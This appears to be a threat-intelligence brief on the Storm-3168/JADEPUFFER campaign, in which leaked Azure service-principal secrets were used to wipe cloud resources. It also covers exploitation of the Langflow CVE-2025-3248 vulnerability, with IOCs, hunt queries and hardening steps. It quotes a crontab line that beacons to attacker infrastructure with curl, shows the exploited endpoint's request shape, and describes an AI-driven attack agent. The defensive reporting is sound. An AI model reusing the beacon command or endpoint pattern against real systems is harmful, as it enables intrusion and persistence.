Storm-3168 / JADEPUFFER: Compromised Azure Service Principals Used to Wipe Cloud Resources

·

In early June 2026, an intruder Microsoft tracks as Storm-3168 — the same cluster Sysdig documented as the agentic ransomware operation JADEPUFFER — used two Azure service-principal credentials that an employee had leaked in a public GitHub issue to enumerate and then destroy cloud resources inside a customer's tenant. Over roughly 18 hours the first identity ran 300+ read operations; a second identity attempted 150+ destructive or credential-collection actions, including over 100 Storage Account deletions, in a 35-minute burst.

What makes this campaign notable is not a new CVE but the tradecraft: the operator behaved like an autonomous agent, self-narrating its decisions in code comments and correcting failed steps within 31 seconds. The initial JADEPUFFER intrusions reached victims through CVE-2025-3248, an unauthenticated RCE in Langflow. This brief maps the full kill chain, the Entra sign-in and Azure activity-log artifacts, and copy-pasteable KQL and SPL hunts.

◈ Table of Contents

01 Threat Actor Profile 02 Intrusion Timeline 03 Initial Access 04 Technical Deep Dive 05 Post-Exploitation 06 C2 & Infrastructure 07 DFIR Investigation 08 Indicators of Compromise 09 Detection & Hunt Queries 10 MITRE ATT&CK Mapping 11 Mitigation & Hardening 12 Sources & References
🛰️

01 · Threat Actor Profile

Attribution

Storm-3168 is a Microsoft designation for an emerging, not-yet-fully-attributed activity cluster. Microsoft links the Azure destruction activity to JADEPUFFER, the actor Sysdig first documented in July 2026 running fully automated, LLM-driven ransomware against internet-exposed applications. The profile below consolidates what both vendors have published.

AttributeDetail
Microsoft designationStorm-3168 (temporary "Storm" cluster ID — attribution not finalized)
Vendor aliasesJADEPUFFER (Sysdig)
First observedJuly 2026 (Sysdig — Langflow database-extortion campaign)
Azure incidentEarly June 2026 — ~18-hour destructive operation
MotivationFinancially motivated; destruction/extortion aligned
Signature tradecraftAgentic / LLM-driven automation; self-narrating payloads; sub-minute error correction
TargetingInternet-facing AI/dev tooling (Langflow, Nacos); cloud tenants reachable via leaked identities
Observed toolsetENCFORGE (Go ransomware); Base64 Python payloads; python-requests ARM client

A "Storm-####" label is Microsoft's marker for a cluster in development — treat attribution as provisional. Pivot your hunting on the observed behaviours and IOCs, not on any assumed nation-state or crime-group identity.

🕒

02 · Intrusion Timeline

Sequence
SEQ
Azure Tenant Compromise — Reconstructed Order
18 hours
Chronology
  • 1Pre-incident: An employee of the impacted organization pastes a service principal's client ID, client secret and tenant ID in plaintext into a public GitHub issue. The values are later edited out but remain in the issue's edit history.
  • 2Hour 0: The first service principal authenticates and begins reconnaissance — 300+ successful read operations across virtual machines, subscriptions and resource groups over roughly 15.5 hours.
  • 3~Hour 16: A second service principal in the same tenant enumerates VMs and resource groups across two subscriptions in about 5 seconds, then reads App Service configuration stores hunting for further credentials.
  • 4Destruction window: Within a 35-minute window the second identity attempts 150+ destructive or credential-collection actions — including 100+ Storage Account deletion attempts concentrated into roughly 7 minutes.
  • 5Post-destruction: 30+ successful ListKeys requests against remaining storage accounts, focused on Azure Site Recovery-related storage.
  • 6After: Microsoft observed repeated probing of Azure App Service configuration endpoints across multiple customers, indicating the operator continued scanning for exposed secrets.
Kill chain — leaked identity to cloud data destruction
🚪

03 · Initial Access

Two vectors

The campaign has two distinct entry stories. The Azure destruction relied on leaked identity material; the earlier JADEPUFFER ransomware intrusions relied on an unauthenticated RCE. Both are worth understanding because they represent the same operator adapting to whatever door is open.

CVEProductTypeCVSSFixed in
CVE-2025-3248LangflowMissing-auth code injection (/api/v1/validate/code)9.81.3.0
CVE-2021-29441Alibaba NacosAuth bypass via User-Agent backdoor9.81.4.1
A
Leaked Service Principal (Azure path)
Valid Accounts

No exploit was needed for the Azure tenant. The operator authenticated with a service principal whose secret was published to a public GitHub issue. Editing the secret out of the issue body did not revoke it — the credential stayed valid and remained visible in the issue's edit history until it was actually rotated.

Deleting a secret from a GitHub comment, commit, or issue does NOT invalidate it. Git and issue edit history retain the value. Any credential that ever touched a public surface must be rotated, not just removed.

B
Langflow Unauthenticated RCE (JADEPUFFER path)
CVE-2025-3248

Langflow before 1.3.0 exposes /api/v1/validate/code without authentication, allowing any remote attacker to execute arbitrary Python (CVSS 9.8; on the CISA KEV catalog since May 2025). JADEPUFFER delivered every stage as Base64-encoded Python through this endpoint, then pivoted to the victim's back-end services.

Observed delivery shape (reconstructed)
# Payloads posted to the unauthenticated validate/code endpoint POST /api/v1/validate/code HTTP/1.1 Content-Type: application/json { "code": "<base64 python — self-narrating comments included>" }
🧬

04 · Technical Deep Dive — Agentic Tradecraft

How it works

This is the part that separates JADEPUFFER from a commodity smash-and-grab. The intrusion behaved like a language model executing a goal, not a human at a keyboard or a static script. Three behaviours evidence that.

1
Self-Narrating Payloads
Behavioural

The decoded Python delivered through Langflow was saturated with natural-language commentary explaining why each action was taken — the kind of running rationale a model emits, not the terse output of a hand-written tool. That commentary is itself a hunting signal: legitimate automation rarely explains its own intent inline.

2
Sub-Minute Failure Correction
Adaptive

In the Nacos backdoor sequence a login failed at 19:34:36 UTC. A corrective payload — diagnosing two possible causes in parallel — was issued at 19:35:07 UTC, and the login succeeded at 19:35:18 UTC. A 31-second diagnose-and-retry loop across a novel error is characteristic of an agent reasoning over live output rather than replaying a fixed playbook.

UTCAction
19:34:24Nacos backdoor admin inserted (bcrypt hash)
19:34:36Initial login attempt fails
19:35:07Corrective payload issued (parallel hypotheses)
19:35:18Login succeeds
3
Database Extortion via MySQL AES_ENCRYPT()
Destructive

Against a Nacos configuration service (reached with CVE-2021-29441 and a forged JWT signed with Nacos's well-known default key), the operator encrypted all 1,342 configuration items using MySQL's native AES_ENCRYPT() and wrote a README_RANSOM table. The key was generated as base64(uuid4().bytes + uuid4().bytes), printed to stdout, and never persisted or transmitted — so even paying the ransom could not recover the data. Captured payloads show escalation from row-level deletes to dropping entire schemas.

Because the encryption key is discarded, this is effectively a wiper wearing a ransom note. Treat any JADEPUFFER-style database encryption as unrecoverable and prioritise restore-from-backup over negotiation.

4
ENCFORGE — Go Ransomware for AI Assets
Malware

ENCFORGE is a compiled Go ransomware built to encrypt model weights, vector indexes, training datasets and other AI-infrastructure files. It scans roughly 180 file extensions and exposes an --include flag so operators can append campaign-specific extensions; its own help text names LoRA fine-tune adapters and legacy GGML weights as examples — a purpose-built attack on the AI supply chain, not generic office files.

5
Azure Service-Principal Abuse (the June incident)
Cloud

In the tenant compromise, the two leaked principals held potent roles: Storage Account Contributor (via a group), plus directly assigned Contributor and SQL DB Contributor. That combination allowed enumeration, ListKeys credential theft and mass deletion. The operator issued five OAuth tokens for the destruction principal, and at one point ran two tokens in parallel for ~70 seconds — driving concurrent delete operations to move faster than a human could.

Two access tokens for one service principal active simultaneously is abnormal for most workloads. Alert on overlapping token lifetimes per app-id — it is a cheap, high-signal indicator of scripted/parallel abuse.

🔀

05 · Post-Exploitation & Destruction

Impact

The destructive phase was fast and noisy, but its outcomes were uneven — Azure guardrails blocked several actions. The table below is a practical map of what worked and what saved data.

TargetActionOutcome
Storage Accounts100+ deletion attemptsMostly successful; some blocked by resource locks / deletion protection
Azure SQL databasesDeletion attemptsFailed — unsupported API version in the request
Key VaultDeleteOne deleted (same resource group)
Function AppDeleteDeleted
App Service planDeleteDeleted
Site Recovery / Backup locksMultiple removal attemptsUnsuccessful — protection locks held
Storage account keys30+ ListKeys readsSuccessful — credential harvesting, focused on Site Recovery storage
🔒

Locks Worked

Resource locks and account-level deletion protection stopped a subset of Storage Account deletes. The controls that were in place demonstrably reduced blast radius.

🛟

Backups Were Targeted

The operator went after Site Recovery and Backup protection locks specifically — recovery infrastructure is a first-class target, not an afterthought.

🗝️

Keys Over Data

Post-destruction ListKeys calls show intent to pivot with harvested storage keys, extending reach beyond the initial principals.

📡

06 · C2 & Infrastructure

Fingerprint

The same IP surfaces in both the Sysdig ransomware analysis and Microsoft's Azure incident, tying the two campaigns together. All Azure Resource Manager calls carried a single, distinctive client user-agent.

IndicatorRoleNotes
45.131.66.106C2 / ARM clientSysdig: C2 beacon http://45.131.66[.]106:4444/beacon; Microsoft: ARM requests & App Service probing
64.20.53.230Staging / probingSysdig: exfil/staging (InterServer, AS19318); Microsoft: App Service probing
34.153.223.102ProbingApp Service configuration probing (Microsoft)
python-requests/2.34.2User-agentARM/token client string across the destructive activity
Persistence observed on the Langflow host (Sysdig)
# crontab beacon every 30 minutes to attacker infrastructure */30 * * * * curl -s http://45.131.66[.]106:4444/beacon
🖼️
Microsoft Security Blog — Storm-3168 activity timeline
microsoft.com · original graphics & token analysis
VIEW ▸
🔎

07 · DFIR Investigation Steps

Responder runbook
IR
First Six Moves for a Suspected Service-Principal Compromise
Order matters
Do these in sequence
  • 1Scope the identity: In Entra, pull the app registration / enterprise application for the suspect service principal and list all role assignments (directory + Azure RBAC across every subscription).
  • 2Pull sign-ins: Filter AADServicePrincipalSignInLogs for the app-id. Note source IPs, and flag the python-requests user-agent and any overlapping token issuance.
  • 3Reconstruct activity: Query AzureActivity / Resource Manager logs for the caller — separate read (Discovery) from write/delete (Impact) operations and build a timeline.
  • 4Contain: Revoke the principal's credentials (rotate secret/cert), remove excess role assignments, and revoke active refresh/access tokens. Do not merely "delete" a leaked secret — rotate it.
  • 5Assess destruction: Enumerate deleted resources, check soft-delete/recycle windows (Storage, Key Vault soft-delete, Recovery Services vault) and begin restores from locked backups.
  • 6Hunt for spread: Review ListKeys / listKeys calls and any secrets read from App Service config; rotate every key/secret the principal could reach.
Investigation complete when
  • All role assignments for the principal are enumerated and excess removed
  • Every credential the principal could read has been rotated
  • Deleted resources are inventoried and restore status is tracked
  • Source IPs and user-agent are blocked / alerted on tenant-wide
🧾

08 · Indicators of Compromise

IOC tables
Network & host
TypeValueContext
IPv445.131.66.106C2 beacon :4444 / ARM client
IPv464.20.53.230Staging / App Service probing (InterServer AS19318)
IPv434.153.223.102App Service probing
User-Agentpython-requests/2.34.2Azure Resource Manager calls
URLhttp://45.131.66[.]106:4444/beaconLangflow-host crontab beacon
ENCFORGE binary & ransom (Sysdig)
TypeValue
SHA-256 (packed)8cb0c223b018cecef1d990ec81c67b826eb3c30d54f06193cf69969e9a8baea2
SHA-256 (unpacked)ea7822eac6cecef7746c606b862b4d3034856caf754c4cf69533662637905328
BTC (ransom)3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
Contacte78393397[@]proton[.]me

Sysdig publishes the full IOC set — source, additional C2, the embedded RSA-2048 key fingerprint and a YARA rule — in its report. Pull those directly for detection engineering; do not rely on this summary alone.

🛡️

09 · Detection & Hunt Queries

KQL + SPL
Hunt 1 — Service-principal sign-ins from the known IPs / user-agent
// KQL (Microsoft Sentinel / Entra) — finds SP auth from Storm-3168 infra AADServicePrincipalSignInLogs | where IPAddress in ("45.131.66.106","64.20.53.230","34.153.223.102") or UserAgent has "python-requests/2.34.2" | project TimeGenerated, ServicePrincipalName, AppId, IPAddress, UserAgent, ResultType | sort by TimeGenerated asc
# SPL (Splunk) — same, over Azure AD sign-in sourcetype index=azure sourcetype="azure:aad:signin" category="ServicePrincipalSignInLogs" (src_ip="45.131.66.106" OR src_ip="64.20.53.230" OR src_ip="34.153.223.102" OR user_agent="python-requests/2.34.2") | table _time, spn_name, appId, src_ip, user_agent, resultType
Hunt 2 — Mass resource deletions by a single caller (Impact)
// KQL — bursts of delete operations from one identity (tune threshold) AzureActivity | where OperationNameValue endswith "/delete" | where ActivityStatusValue in ("Start","Success") | summarize deletes=count(), targets=make_set(ResourceId, 50) by Caller, CallerIpAddress, bin(TimeGenerated, 10m) | where deletes >= 10 | sort by deletes desc
# SPL — same burst detection over azure activity logs index=azure sourcetype="azure:activity" operationName="*/delete" | bin _time span=10m | stats dc(resourceId) as targets count as deletes by _time, caller, callerIpAddress | where deletes >= 10 | sort - deletes
Hunt 3 — Storage account key theft (ListKeys)
// KQL — enumeration of storage keys, a common pivot before/after deletion AzureActivity | where OperationNameValue has "storageAccounts/listKeys/action" | summarize keyReads=count() by Caller, CallerIpAddress, bin(TimeGenerated, 1h) | where keyReads >= 5
# SPL — ListKeys volume per caller index=azure sourcetype="azure:activity" operationName="*storageAccounts/listKeys/action*" | bin _time span=1h | stats count as keyReads by _time, caller, callerIpAddress | where keyReads >= 5
Hunt 4 — Overlapping token issuance for one service principal
// KQL — multiple distinct tokens for one appId in a tight window (parallel abuse) AADServicePrincipalSignInLogs | where ResultType == 0 | summarize tokens=dcount(UniqueTokenIdentifier), ips=make_set(IPAddress, 10) by AppId, ServicePrincipalName, bin(TimeGenerated, 5m) | where tokens >= 2 | sort by tokens desc
# SPL — concurrent tokens per appId index=azure sourcetype="azure:aad:signin" category="ServicePrincipalSignInLogs" resultType=0 | bin _time span=5m | stats dc(uniqueTokenIdentifier) as tokens values(src_ip) as ips by _time, appId, spn_name | where tokens >= 2
Hunt 5 — Langflow validate/code exploitation (upstream vector)
// KQL — POSTs to the unauthenticated code-injection endpoint let ep = "/api/v1/validate/code"; union isfuzzy=true W3CIISLog, AzureDiagnostics | where csUriStem has ep or requestUri_s has ep | where csMethod == "POST" or httpMethod_s == "POST" | project TimeGenerated, clientIp = coalesce(cIP, clientIP_s), uri = coalesce(csUriStem, requestUri_s)
# SPL — Langflow RCE endpoint hits index=web (uri_path="/api/v1/validate/code") method=POST | stats count by _time, src_ip, uri_path, status | sort - count

Field names vary by connector — UniqueTokenIdentifier, CallerIpAddress and the storage listKeys operation string differ between Sentinel schema versions and third-party forwarders. Confirm the exact column in your workspace before promoting any of these to an alert rule.

🎯

10 · MITRE ATT&CK Mapping

Techniques
TacticTechniqueIDIn this campaign
Initial AccessExploit Public-Facing ApplicationT1190Langflow CVE-2025-3248 / Nacos CVE-2021-29441
Initial Access / Defense EvasionValid Accounts: Cloud AccountsT1078.004Leaked service-principal secret
DiscoveryCloud Service DiscoveryT1526300+ read ops across VMs, subs, RGs
Credential AccessUnsecured CredentialsT1552App Service config & storage ListKeys
ImpactData DestructionT1485Storage / Key Vault / Function App deletion
ImpactInhibit System RecoveryT1490Attempts against Site Recovery / Backup locks
ImpactData Encrypted for ImpactT1486Nacos config encrypted (key discarded); ENCFORGE
🧰

11 · Mitigation & Hardening

Do this now
H
Identity, Recovery & Exposure Controls
Priority order
Hardening steps
  • 1Rotate anything ever exposed: Treat any secret that appeared in a repo, issue, log or ticket as burned. Removal ≠ revocation — rotate the credential and invalidate issued tokens.
  • 2Least privilege for service principals: Strip standing Contributor/Owner; scope to specific resource groups; prefer managed identities and short-lived, workload-federated credentials over long-lived secrets.
  • 3Protect recovery infrastructure: Apply resource locks, Storage & Key Vault soft-delete + purge protection, and immutable/locked Recovery Services vaults so a single identity cannot both destroy and un-protect.
  • 4Secret scanning at the edge: Enforce push-protection secret scanning on all repos and block plaintext credentials in issues/PRs; monitor public paste and code surfaces for tenant identifiers.
  • 5Patch the entry points: Upgrade Langflow to 1.3.0+ (CVE-2025-3248) and Nacos to 1.4.1+ (CVE-2021-29441); keep both off the public internet where possible.
  • 6Enable cloud detection plans: Turn on Microsoft Defender for Cloud coverage for Resource Manager, Storage, Key Vault, App Service and Databases so mass-delete and ListKeys anomalies raise alerts.
📚

12 · Sources & References

Primary
Microsoft Security Blog — Storm-3168: Agentic-driven cloud attacks using compromised service principals (Sep 25, 2026) Sysdig — JADEPUFFER: Agentic ransomware for automated database extortion The Hacker News — JADEPUFFER-Linked Attackers Used Compromised Service Principals to Delete Azure Resources NVD — CVE-2025-3248 (Langflow code injection, CVSS 9.8) NVD — CVE-2021-29441 (Nacos auth bypass, CVSS 9.8) CISA — Known Exploited Vulnerabilities Catalog

Hunting leaked cloud identities in your own tenant?

Run the observed IPs and hashes through the CyberHawk IOC Scanner, then browse our SOP library for the service-principal and cloud-data-destruction response playbooks. More cloud threat intel on the CyberHawk blog.

◈ Stay Connected

Follow CyberHawk Threat Intel for threat intelligence, deployment guides and hands-on SOC tooling content.

🌐 Website ▶️ YouTube ▶️ YouTube (2) 𝕏 Twitter / X ♪ TikTok ✈️ Telegram
🔍 IOC Scanner 🛠️ Live Tools 📚 Courses 🚨 Threat Intel 📝 Blog 📋 SOPs

"They can't exploit you if you are the Exploit."